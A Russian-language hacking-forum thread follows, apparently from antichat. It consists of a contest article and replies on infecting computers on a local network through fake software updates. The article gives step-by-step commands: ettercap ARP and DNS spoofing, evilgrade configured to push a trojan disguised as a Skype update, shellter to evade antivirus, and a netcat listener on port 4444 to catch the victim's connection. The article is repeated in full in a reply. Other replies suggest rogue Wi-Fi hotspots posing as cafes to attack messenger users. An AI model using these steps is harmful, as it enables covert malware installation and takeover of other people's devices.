Заражение сети через обновление

[Ondrik8]

Статья для участия в конкурсе (https://forum.antichat.xyz/threads/560834/) на античат
Всем привет, решил выдать еще одну статью на конкурс так-как сегодня узнал что в понедельник я уезжаю в ближнее зарубежье решать вопросы по работе(( Планировал я выпустить эту статью после 15 числа сего месяца но видно не судьба..) По этому выпускаю её экстерном и это будет заключительная моя статья для нашего конкурса от меня.
Речь пойдет о заражении машин в локальной сети через обновление софта пишу ее быстро так-как нужно еще успеть собраться в дорогу за орф. ошибки сильно не пинайте))
Приступлю как Все Мы знаем что все машины в сети постоянно делают запросы " типо не вышло ли что нить нового для меня!?" Это делают ОС-мы, программы от малого до велика платные и бесплатные все обращаются к своему источнику делая этот запрос "обновится"
Вот и расскажу я Вам как сделать fake-update так что бы при очередном запросе софта "домой" он (софт) получил ответ "типа: братка обновляйся! тут для тебя обновочка вышла" Софт в свою очередь будет дурить юзеру мозг, " Хозяин тут на меня обновка вышла нажми "ОК" я сам обновлюсь и будем мы жить с тобою в радости и в счастье"
Помогут нам осуществить эту атаку инструменты : metasploit, ettercap, netcat (котик) и гвоздь нашей программы evilgrade
Эта утилита просто "бомбезная" мало того что у нее есть свои модули для фэйк обновления так она еще дает возможность создавать свои модули для целевой ОС-и (любой) Linux | Windows что конечно же и радует)) подробно об этом инструменте и как создавать модули, Вы можете узнать здесь.

Далее что нам понадобится узнать родной дом программы для фэйк-обновления настроить инструмент ettercap

как узнать куда програмка стучится за обновкой можно двумя способами перехватить ее данные в wireshark-e или просто плотно изучив ее официальный сайт.

Узнали? Отлично, идем редачить файл конфигурации ettercap:

leafpad /etc/ettercap/etter.dns

https://forum.antichat.xyz/attachments/4787760/2.png



и запускаем инструмент : ettercap -G

https://forum.antichat.xyz/attachments/4787760/3.png



Sniff -->Unified Sniffing

Plugins -->Manage Plugins -->dns_spoof

https://forum.antichat.xyz/attachments/4787760/4.png



Hosts --> scan hosts

Чтобы увидеть список машин в сети Hosts -> Hosts list

https://forum.antichat.xyz/attachments/4787760/5.png



( по МАС-ам можете не стараться меня пробить)

Теперь поместите себя между маршрутизатором (192.168.1.1), выбрав его как Target 1 и жертву (192.168.1.--), выбрав его как Target 2.

и :

https://forum.antichat.xyz/attachments/4787760/7.png

https://forum.antichat.xyz/attachments/4787760/8.png

Отложим пока ettercap, настроим evilgrade до конца.

Как генерить и прятать троян от антивирусов здесь на Борде перемусолено, по этому останавливаться на этих моментах я не буду, как по мне так лучше, скачайте оригинал версию программы и смешайте её в shellter-e c Вашим трояном.

"вернемся к нашим баранам" Жванецкий

evilgrade > configure skype

https://forum.antichat.xyz/attachments/4787760/10.png



evilgrade(skype) > set agent /root/папка_с_трояном/skype_update.exe start

Запускаем ettercap :

https://forum.antichat.xyz/attachments/4787760/11.png

и просим котика что бы он слушал порт <-тот который слушает Метасплойт или Empire то есть на какой порт настроен наш троян!

nc -l -p 4444

и все!)) теперь когда жертва откроет в моем случае skype он (skype) в свою очередь по просит обновится она (терпилка) нажмет "ОК" а мы ....см. ниже))


https://forum.antichat.xyz/attachments/4787760/img_3fafdadd0c.png



как то так.))

PS: если выиграю конкурс часть средств уйдет в фонд маленьких замерзших котят, а остальное пойдет в фонд алкоголя для "crazy Rassian Hackers"
а если серьезно то за куплюсь плюшками-радиодеталями и буду Вас радывать новыми статьями)

Удачи..)

[Ondrik8]

IioS сказал(а):

заражено сеть атомной станции


да, было такое вот этим)) Staxnet, но там еще пару 0-day участвовало )

[valerian38]

IioS сказал(а):

Слышала что подобным методом было заражено сеть атомной станции


Ну не атомной станции, а предприятия по обогащению урана. Потом сеть там была локальная, заражение произошло через съёмный носитель.

[ghost]

Ondrik8 (https://forum.antichat.xyz/members/567922/) и iios (https://forum.antichat.xyz/members/577042/)!
Вы прямо дополняете друг друга разными (https://forum.antichat.xyz/threads/560975/) статьями (https://forum.antichat.xyz/threads/560629/).

https://forum.antichat.xyz/attachments/4787775/img_c0665ce9af.png


Браво маэстры!

[vag4b0nd]

Способ действительно отличный)
Нужно как-нибудь обязательно опробовать.

[Ondrik8]

ohno сказал(а):

Как устанавливается evilgrade? Ни слова на гите не нашёл.



apt install isr-evilgrade

[woolf1514]

Мое почтение, автор. Это уже даже не технические навыки.. Это тех.скилзы + творчество. Побольше бы таких творцов, любящих делиться информацией!

Кстати, такая возможность реализована в intercepter-ng 1.0:

https://forum.antichat.xyz/attachments/4787929/img_4cf242a44f.png

[newbiee]

woolf1514 сказал(а):

Мое почтение, автор. Это уже даже не технические навыки.. Это тех.скилзы + творчество. Побольше бы таких творцов, любящих делиться информацией!

Кстати, такая возможность реализована в intercepter-ng 1.0:

так интерцептер же только в LAN работает? или я ошибаюсь?

[woolf1514]

newbiee сказал(а):

так интерцептер же только в LAN работает? или я ошибаюсь?



В основном, да. Но для некоторых целей можно заставить и в сеть смотреть

[newbiee]

woolf1514 сказал(а):

В основном, да. Но для некоторых целей можно заставить и в сеть смотреть


Я понял в чём соль, начал искать по поиску, статью: "Обходим NAT", а я её перенесли в серую секцию уже по ходу, да? Я прав? В эту сторону надо же копать? Короче надо срочно оформлять подписку на год)

[woolf1514]

newbiee сказал(а):

***Скрытый текст***



Срочно оформляй!

[newbiee]

woolf1514 сказал(а):

***Скрытый текст***


НУ блин я же ещё не вступил, короче я пошёл заряжать, пацаны)))

[<~DarkNode~>]

Ondrik8 сказал(а):

Статья для участия в конкурсе (https://forum.antichat.xyz/threads/560834/) на античат
Всем привет, решил выдать еще одну статью на конкурс так-как сегодня узнал что в понедельник я уезжаю в ближнее зарубежье решать вопросы по работе(( Планировал я выпустить эту статью после 15 числа сего месяца но видно не судьба..) По этому выпускаю её экстерном и это будет заключительная моя статья для нашего конкурса от меня.
Речь пойдет о заражении машин в локальной сети через обновление софта пишу ее быстро так-как нужно еще успеть собраться в дорогу за орф. ошибки сильно не пинайте))
Приступлю как Все Мы знаем что все машины в сети постоянно делают запросы " типо не вышло ли что нить нового для меня!?" Это делают ОС-мы, программы от малого до велика платные и бесплатные все обращаются к своему источнику делая этот запрос "обновится"
Вот и расскажу я Вам как сделать fake-update так что бы при очередном запросе софта "домой" он (софт) получил ответ "типа: братка обновляйся! тут для тебя обновочка вышла" Софт в свою очередь будет дурить юзеру мозг, " Хозяин тут на меня обновка вышла нажми "ОК" я сам обновлюсь и будем мы жить с тобою в радости и в счастье"
Помогут нам осуществить эту атаку инструменты : metasploit, ettercap, netcat (котик) и гвоздь нашей программы evilgrade
Эта утилита просто "бомбезная" мало того что у нее есть свои модули для фэйк обновления так она еще дает возможность создавать свои модули для целевой ОС-и (любой) Linux | Windows что конечно же и радует)) подробно об этом инструменте и как создавать модули, Вы можете узнать здесь.

Далее что нам понадобится узнать родной дом программы для фэйк-обновления настроить инструмент ettercap

как узнать куда програмка стучится за обновкой можно двумя способами перехватить ее данные в wireshark-e или просто плотно изучив ее официальный сайт.

Узнали? Отлично, идем редачить файл конфигурации ettercap:

leafpad /etc/ettercap/etter.dns



и запускаем инструмент : ettercap -G



Sniff -->Unified Sniffing

Plugins -->Manage Plugins -->dns_spoof



Hosts --> scan hosts

Чтобы увидеть список машин в сети Hosts -> Hosts list



( по МАС-ам можете не стараться меня пробить)

Теперь поместите себя между маршрутизатором (192.168.1.1), выбрав его как Target 1 и жертву (192.168.1.--), выбрав его как Target 2.

и :

Отложим пока ettercap, настроим evilgrade до конца.

Как генерить и прятать троян от антивирусов здесь на Борде перемусолено, по этому останавливаться на этих моментах я не буду, как по мне так лучше, скачайте оригинал версию программы и смешайте её в shellter-e c Вашим трояном.

"вернемся к нашим баранам" Жванецкий

evilgrade > configure skype



evilgrade(skype) > set agent /root/папка_с_трояном/skype_update.exe start

Запускаем ettercap :

и просим котика что бы он слушал порт <-тот который слушает Метасплойт или Empire то есть на какой порт настроен наш троян!

nc -l -p 4444

и все!)) теперь когда жертва откроет в моем случае skype он (skype) в свою очередь по просит обновится она (терпилка) нажмет "ОК" а мы ....см. ниже))




как то так.))

PS: если выиграю конкурс часть средств уйдет в фонд маленьких замерзших котят, а остальное пойдет в фонд алкоголя для "crazy Rassian Hackers"
а если серьезно то за куплюсь плюшками-радиодеталями и буду Вас радывать новыми статьями)

Удачи..)

Блин , не хочу выглядит гамнокритиком) но где профит самой сессии? Тема эвилгрейда была популярна еще во времена четвертого бактрака (была эта тулза в репозиториях бактрака)
,а именно когда обновления прилетали по http или ftp , без проверки подписи сертификата и без ssl

Имеет конечно место быть данный вектор , но перед тем как его применить нужно быть уверенным что обновления приходят не по ssl и не проверяются подпись и хеш сумы файлов обновления.

По этому я же говорю, где сам профит ,конечный результат??
Последний раз эта утилита у меня работала на обновлении notepad++ в 2013 году. Сейчас не знаю.
Просьба запрофитить на обновоении винды как к твоей статье.)))
Что бы не быть голословным прошу обратить внимание на дату первого упоминания евилгрейда в гугле:
Вбиваем evilgrade в гугле
и видем первое упоминание в 2011 году в журнале хакер,первые видосы в 2013 году.

[PingVinich]

~~DarkNode~~ сказал(а):

Блин , не хочу выглядит гамнокритиком) но где профит самой сессии? Тема эвилгрейда была популярна еще во времена четвертого бактрака (была эта тулза в репозиториях бактрака)
,а именно когда обновления прилетали по http или ftp , без проверки подписи сертификата и без ssl

Имеет конечно место быть данный вектор , но перед тем как его применить нужно быть уверенным что обновления приходят не по ssl и не проверяются подпись и хеш сумы файлов обновления.

По этому я же говорю, где сам профит ,конечный результат??
Последний раз эта утилита у меня работала на обновлении notepad++ в 2013 году. Сейчас не знаю.
Просьба запрофитить на обновоении винды как к твоей статье.)))
Что бы не быть голословным прошу обратить внимание на дату первого упоминания евилгрейда в гугле:
Вбиваем evilgrade в гугле
и видем первое упоминание в 2011 году в журнале хакер,первые видосы в 2013 году.


Тоже хотел это написать, но ты меня опередил.

[Злой Дядька]

Способ рабочий и по сей день . Я имею ввиду саму схему , заражение через вызов обновления . Работает со всем чем пожелаете , начиная от смартфонов и заканчивая ноутбуками на разных ОС . Засветив точку доступа(квадратов так на 100) и замаскировав ее под молодежное кафе или ресторан (в центра любого города) , можно очень сильно налиходееть , используя атаку на приложение которым пользуются почти все , а именно мессенджеры Вайбер или Ваттсап . Единственное различие в том , что evilgrade позволял это сделать любому новичку на готовых модулях , а сейчас это делается на самописных скриптах , но сам способ рабочий . Но это очень дерзкое занятие и требуется соблюдать безопасность

[Ondrik8]

Злой Дядька сказал(а):

Способ рабочий и по сей день . Я имею ввиду саму схему , заражение через вызов обновления . Работает со всем чем пожелаете , начиная от смартфонов и заканчивая ноутбуками на разных ОС . Засветив точку доступа(квадратов так на 100) и замаскировав ее под молодежное кафе или ресторан (в центра любого города) , можно очень сильно налиходееть , используя атаку на приложение которым пользуются почти все , а именно мессенджеры Вайбер или Ваттсап . Единственное различие в том , что evilgrade позволял это сделать любому новичку на готовых модулях , а сейчас это делается на самописных скриптах , но сам способ рабочий . Но это очень дерзкое занятие и требуется соблюдать безопасность


вижу.... Спец, ответил!) естть еще способы заражения, но опасно давать людям такие знания!

[Злой Дядька]

Ondrik8 сказал(а):

вижу.... Спец, ответил!) естть еще способы заражения, но опасно давать людям такие знания!


Вы совершенно правы , учитывая то что в Снг (и не только) могут упаковать лишь за комментарий , то что уж и говорить о наших методах) К тому же кощунство выкладывать новичкам уязвимости , над которыми работаешь порой продолжительное время . Хотя мне жаль начинающих ребят , слишком большой порог вхождения сейчас и они бывают разочаровываются видя лишь методики в открытом доступе , которые блокируются всем чем можно уже на стадии выходи эксплойта .

[pro194]

Огненная статья! Как раз в тему зашла, надеюсь что в поле она отработает себя на 100%. Спасибо за труды!